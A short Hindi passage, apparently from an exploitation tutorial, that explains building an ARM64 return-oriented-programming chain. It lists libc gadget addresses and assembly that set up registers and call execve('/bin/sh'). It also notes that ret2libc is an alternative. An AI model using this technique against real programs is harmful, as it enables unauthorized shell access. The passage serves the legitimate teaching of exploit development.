syscall के लिए कॉल तैयार करने के लिए निम्नलिखित कॉन्फ़िगरेशन की आवश्यकता है:
x8: 221 sys_execve निर्दिष्ट करें
x0: ptr to "/bin/sh" निष्पादित करने के लिए फ़ाइल निर्दिष्ट करें
x1: 0 कोई तर्क नहीं दिया गया
x2: 0 कोई पर्यावरण चर नहीं दिया गया
ROPgadget.py का उपयोग करके, मैं मशीन के libc पुस्तकालय में निम्नलिखित गैजेट्स को खोजने में सक्षम था:
;Load x0, x1 and x3 from stack and x5 and call x5
0x0000000000114c30:
ldp x3, x0, [sp, #8] ;
ldp x1, x4, [sp, #0x18] ;
ldr x5, [sp, #0x58] ;
ldr x2, [sp, #0xe0] ;
blr x5
;Move execve syscall (0xdd) to x8 and call it
0x00000000000bb97c :
nop ;
nop ;
mov x8, #0xdd ;
svc #0
पिछले गैजेट्स के साथ, हम स्टैक से सभी आवश्यक रजिस्टरों को नियंत्रित कर सकते हैं और syscall को कॉल करने के लिए दूसरे गैजेट पर कूदने के लिए x5 का उपयोग कर सकते हैं।
यह ध्यान दें कि libc लाइब्रेरी से इस जानकारी को जानने से ret2libc हमले को भी करना संभव है, लेकिन चलिए इसे इस वर्तमान उदाहरण के लिए उपयोग करते हैं।